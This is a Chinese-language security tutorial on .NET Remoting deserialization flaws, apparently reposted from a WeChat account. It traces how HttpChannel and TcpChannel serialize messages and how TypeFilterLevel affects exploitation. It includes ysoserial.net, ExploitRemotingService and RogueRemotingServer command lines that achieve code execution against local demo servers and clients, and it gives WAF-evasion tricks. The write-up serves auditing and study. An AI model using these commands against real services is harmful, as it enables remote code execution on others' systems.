1.Remoting机制的使用
什么是Remoting,网上找到的比较标准的介绍如下:
简而言之,我们可以将其看作是一种分布式处理方式。Microsoft .NET Remoting 提供了一种允许对象通过应用程序域与另一对象进行交互的框架。这也正是我们使用Remoting的原因。为什么呢?在Windows操作系统中,是将应用程序分离为单独的进程。这个进程形成了应用程序代码和数据周围的一道边界。如果不采用进程间通信(RPC)机制,则在一个进程中执行的代码就不能访问另一进程。这是一种操作系统对应用程序的保护机制。然而在某些情况下,我们需要跨过应用程序域,与另外的应用程序域进行通信,即穿越边界。
在Remoting中是通过通道(channel)来实现两个应用程序域之间对象的通信的。首先,客户端通过Remoting,访问通道以获得服务端对象,再通过代理解析为客户端对象。这就提供一种可能性,即以服务的方式来发布服务器对象。远程对象代码可以运行在服务器上(如服务器激活的对象和客户端激活的对象),然后客户端再通过Remoting连接服务器,获得该服务对象并通过序列化在客户端运行。
当然,上面这一大段是Remoting机制的标准介绍,对JAVA比较熟悉的读者可以尝试用RMI去带入理解一下这个机制,包括它的安全问题和RMI都是非常类似的。
既然Remoting涉及对象的传递,那么自然也就要涉及序列化与反序列化,Remoting主要有两种通道,Http和Tcp。在.Net中,System.Runtime.Remoting.Channel中定义了IChannel接口。IChannel接口包括了TcpChannel通道类型和Http通道类型。它们分别对应Remoting通道的这两种类型。
TcpChannel类型放在名字空间System.Runtime.Remoting.Channel.Tcp中。Tcp通道提供了基于Socket的传输工具,使用Tcp协议来跨越Remoting边界传输序列化的消息流。TcpChannel类型默认使用二进制格式序列化消息对象,因此它具有更高的传输性能。HttpChannel类型放在名字空间System.Runtime.Remoting.Channel.Http中。它提供了一种使用Http协议,使其能在Internet上穿越防火墙传输序列化消息流。默认情况下,HttpChannel类型使用Soap格式序列化消息对象,因此它具有更好的互操作性。通常在局域网内,我们更多地使用TcpChannel;如果要穿越防火墙,则使用HttpChannel。
除此之外还有一种IpcChannel,用于本机的进程之间的数据传输。总结一下就是HttpChannel用Soap格式传输数据,TcpChannel用二进制格式传输数据。这里就可以简单猜测一下前者使用SoapFormatter进行序列化与反序列化,后者使用BinaryFormatter进行序列化与反序列化。
我们可以使用一些demo来学习Remoting机制的使用。
2.HttpChannel的使用与分析
这里先实现一个传输对象类,也即后续我们要传输的对象
这个功能很简单,每次访问这个count就+1
接着我们实现Remoting的服务端,代码如下
这里绑定了服务端的端口是9999,指定了要传输的对象是我们前面实现的RemoteDemoObjectClass,并且发布的uri地址为
RemoteDemoObjectClass.rem
目前都很好理解,这第三个参数
WellKnownObjectMode.Singleton
又有什么作用呢?这玩意主要分为两种模式:
SingleTon模式:此为有状态模式。如果设置为SingleTon激活方式,则Remoting将为所有客户端建立同一个对象实例。当对象处于活动状态时,SingleTon实例会处理所有后来的客户端访问请求,而不管它们是同一个客户端,还是其他客户端。SingleTon实例将在方法调用中一直维持其状态。举例来说,如果一个远程对象有一个累加方法(i=0;++i),被多个客户端(例如两个)调用。如果设置为SingleTon方式,则第一个客户获得值为1,第二个客户获得值为2,因为他们获得的对象实例是相同的。如果熟悉Asp.Net的状态管理,我们可以认为它是一种Application状态。
SingleCall模式:SingleCall是一种无状态模式。一旦设置为SingleCall模式,则当客户端调用远程对象的方法时,Remoting会为每一个客户端建立一个远程对象实例,至于对象实例的销毁则是由GC自动管理的。同上一个例子而言,则访问远程对象的两个客户获得的都是1。我们仍然可以借鉴Asp.Net的状态管理,认为它是一种Session状态。
我们把上面做好的服务端编译为exe
然后接着再写客户端,客户端代码如下:
主要就是连接服务端,指定前面发布的
/RemoteDemoObjectClass.rem
如下图,我客户端一直访问,然后这边的值就一直+1
当然这里我就好奇了,如果我在浏览器直接访问
http://localhost:9999/RemoteDemoObjectClass.rem
会得到什么信息呢
请求头里有一个
Server: MS .NET Remoting, MS .NET CLR 4.0.30319.42000
可以看到这个特征还是挺显著,如果实战中遇到.rem的uri,并且看到类似的异常信息,马上反应过来这里是基于HttpChannel的Remoting机制。
这里也看一下客户端和服务端的通信过程,这里配置一下Burp代理的转发,从8080端口拿到流量后转发到9999端口,然后启用透明代理
然后客户端请求的时候把端口改成8080
可以在Http History里看见通信过程:
可以看到这个模式和RMI那边还是很像的,服务端那边调用之后会把结果返回回来,先返回一个100 Continue的状态,然后返回信息。只不过这里用的是SOAP格式的数据进行传输。这里我们浅析一下这个通信的序列化与反序列化流程。
首先简单的搜索一下Serialize之类的关键词,其实很容易能找到,在SoapClientFormatterSink类里,可以先找到SerializeMessage方法。从这个类的名字就可以知道,这是客户端相关的方法,那么SerializeMessage就是客户端发起请求时,对请求信息进行序列化的方法
如图,运行客户端发起请求的时候,可以在这里断住
其中调用了CoreChannel类的SerializeSoapMessage()方法
我们跟进这个方法,在它的一开始就调用本类的CreateSoapFormatter()方法,得到一个SoapFormatter类的对象
跟进CreateSoapFormatter(),这里主要就是创建一个SoapFormatter类的对象
继续往后看SerializeSoapMessage()方法,最后调用SoapFormatter的Serialize()方法,完成信息的序列化
既然SoapClientFormatterSink中有SerializeMessage方法,用于发送请求时的序列化,那么自然也有DeserializeMessage方法,从服务端收到响应后,正是由这个方法对响应信息进行反序列化:
这个方法里又调用CoreChannel类的
DeserializeSoapResponseMessage()
类似地,直接拿到SoapFormatter对象后对接收到的信息进行Deserialize()反序列化
这样我们就弄懂了客户端信息收发的流程。主要就是
SoapClientFormatterSink
中的SerializeMessage和DeserializeMessage。
那么既然有
SoapClientFormatterSink
理所当然的也应该有
SoapServerFormatterSink
其中有一个ProcessMessage()方法
调用CoreChannel类的
DeserializeSoapRequestMessage()
对客户端发来的Soap数据进行反序列化,但是这里注意还传入了一个TypeFilterLevel
这个值会影响后续反序列化的功能
总之我们继续回到
DeserializeSoapRequestMessage()
还是老样子,创建SoapFormatter对象,然后调用Deserialize()方法对客户端传过来的信息进行反序列化。
但这里需要尤其注意一点,这里给
soapFormatter.FilterLevel
进行赋值了,值就是传入的TypeFilterLevel,我们刚刚看到了一个状态,就是TypeFilterLevel.Full
此外还有一个常见状态是TypeFilterLevel.Low,GPT介绍他们两者的区别如下:
但是感觉应该不只有这个差别,网上的另一篇文章还提到了Low模式下的一些限制:
https://github.com/cbwang505/TcpServerChannelRce
“这种模式在反序列化客户端传来的数据包的时候使用代码访问安全(CAS)机制禁用了反序列化操作危险函数调用”
总之,当设定为Full的时候,就是最正宗经典的SoapFormatter反序列化点,当然也有反序列化问题,而设置为Low的时候,会影响我们的利用。
然后服务端给客户端发信息的时候,也要先进行序列化
调用CoreChannel的SerializeSoapMessage方法,这里就没啥好看的了
因此我们总结HttpChannel场景下Remoting客户端与服务端通信场景以及涉及到的几个关键函数。
①客户端SoapClientFormatterSink#SerializeMessage()将信息进行序列化,并发送给服务端
②服务端SoapServerFormatterSink#ProcessMessage()对客户端发来的信息进行反序列化(TypeFilterLevel影响反序列化流程)
③服务端SoapServerFormatterSink#AsyncProcessResponse()对结果信息进行序列化,并发送给客户端
④客户端SoapClientFormatterSink#DeserializeMessage()对服务端发来的结果信息进行反序列化
以上就是整个流程,那么我们不难发现,在服务端和客户端进行反序列化的时候,基本都是SoapFormatter的反序列化方法一把梭,那我们能不能用SoapFormatter反序列化点的Payload一把梭呢?
3.攻击HttpChannel服务端
这里生成一个:
ysoserial.exe -f soapformatter -g TextFormattingRunProperties -c calc
我们打打看,注意这里要把<SOAP-ENV:Body>标签删掉
当然这里直接发包会发现并没有预期结果,这就是TypeFilterLevel在作祟,我们前面分析过原理了
我们重新写一个服务端,这里强制指定一个TypeFilterLevel.Full
再使用上述payload进行发包,成功RCE
4.攻击HttpChannel客户端
这里本来我还想试试打服务端打客户端的,想自己搓一个恶意服务端,致敬一波RMI,理论上来说只要按照HttpChannel的这个通信规则去返回payload就行。一些国外的文章也提到了这个姿势:
https://www.nccgroup.com/us/research-blog/finding-and-exploiting-net-remoting-over-http-using-deserialisation/
不过搞了半天老是提示“未经处理的异常: System.FormatException: 输入字符串的格式不正确。”。
那么要咋办呢?后面我学ObjRef链子的时候,发现这玩意是真正的RMI、JRMP精神续作,简单来说对ObjRef反序列化的时候,受害主机也会主动向服务端发出Remoting请求,然后对结果进行反序列化,等于说把目标变成了一个Remoting中的客户端,那么这就需要一个恶意服务端返回payload,前人已经写好了相关项目。然后我就在想这个恶意服务端应该可以直接拿过来用吧:
ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c MSPaint.exe > MSPaint.soap
(触发链子则弹出画图功能)
恶意服务端如下:
https://github.com/codewhitesec/RogueRemotingServer
RogueRemotingServer.exe --wrapSoapPayload http://127.0.0.1:9744/index.html MSPaint.soap
(指定恶意服务端返回的payload为MSPaint.soap)
链子成功执行
总之,在审计中只需要关注目标是否用HttpServerChannel开启了Remoting服务端,并且观察TypeFilterLevel是否指定为Full,都满足的话就是有一个Remoting反序列化点的。
当然不只是HttpServerChannel,HttpChannel也是可以的,反正就是Http+Channel这样的关键字,同时也要注意有没有客户端的使用。
5.HttpChannel场景下反序列化攻击对抗WAF
这个就很有意思了,虽然看起来HttpChannel场景下还是用HTTP数据包进行数据传递的,但实际上他并不完全遵守Http的规范。还是来到SoapServerFormatterSink处理客户端请求的ProcessMessage()方法,其中从请求头里拿到__RequestVerb作为请求方法
除此之外,还通过请求头的__RequestUri的值作为请求的Uri
所以可以不按HTTP的规则去构造一个畸形数据包,这篇文章里也提到了相关姿势:
https://www.nccgroup.com/us/research-blog/finding-and-exploiting-net-remoting-over-http-using-deserialisation/
这里可以看出另一个姿势就是,修改xml数据的encoding,XXE那边的常用绕WAF姿势,这样结合起来打组合拳应该就没啥WAF能检测到了
6.TcpChannel的使用与分析
服务端代码如下:
客户端代码如下
可见和HttpChannel的区别并不大,还是直接来看代码
BinaryClientFormatterSink
是客户端处理序列化与反序列化的方法,其
AsyncProcessMessage
方法调用本类SerializeMessage方法
SerializeMessage又调用
CoreChannel.SerializeBinaryMessage()
SerializeBinaryMessage()还是老样子,只不过这回用的是BinaryFormatter的Serialize
而
BinaryClientFormatterSink.AsyncProcessResponse()
方法负责对服务端的响应进行反序列化:
一路跟下来都很简单,没啥好说的。再就是服务端的BinaryServerFormatterSink, ProcessMessage()方法负责对客户端传来的信息进行反序列化,依然受到TypeFilterLevel的影响
So,和前面介绍的Soap的处理流程其实基本上都是一样的,无非一个是用的Soap,一个用的是二进制数据。
7.攻击TCPChannel服务端
这里又是James Forshaw佬的工具,真是学.NET安全绕不过去的大佬
https://github.com/tyranid/ExploitRemotingService
这里先把TCPChannel服务端开起来
然后用ysoserial.net生成一个BinaryFormatter反序列化payload
ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc -o base64
然后使用ExploitRemotingService加载上述payload攻击TcpChannel服务端
exploitRemotingService.exe tcp://localhost:9999/RemoteDemoObjectClass.rem raw <ysoersial生成的payload>
发包,成功RCE
也是有服务端攻击客户端的,参考上面介绍过的工具就行。
8.TypeFilterLevel.Low场景下的攻击姿势
网上看到的的文章基本都说,在TypeFilterLevel.Low场景下,ExploitRemotingService也可以进行利用,但是要设置
ConfigurationManager.AppSettings.Set("microsoft:Remoting:AllowTransparentProxyMessage", false);
这个全局非默认配置,似乎就没有别的绕过空间了。
然而今年8月最新的一个成果,cbwang505师傅给出了TcpChannel、TypeFilterLevel.Low场景下的新利用方法
https://github.com/cbwang505/TcpServerChannelRce
因为里面还没学的东西太多,这里先不去分析实现原理了,看起来整个流程非常精彩,过段时间再积累,用这里面的项目实验一下:
先开启一个ChannelServer,这里的TypeFilterLevel是low
这里还有个恶意Client
运行后大约两秒会弹记事本
修改这里即可实现任意代码执行了
当然这个点以后再来分析吧,需要的前置知识点有点多(
9.总结
关注目标中是否有HttpChannel、TcpChannel等字样,并且观察TypeFilterLevel是否指定为Full(打服务端)。不过是Low的情况下也有一定利用空间,以后再学习。
10.参考
https://xz.aliyun.com/t/9605
https://www.freebuf.com/articles/web/199147.html
https://github.com/cbwang505/TcpServerChannelRce
原文始发于微信公众号(HW专项行动小组):14.net remoting安全问题(未完结)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论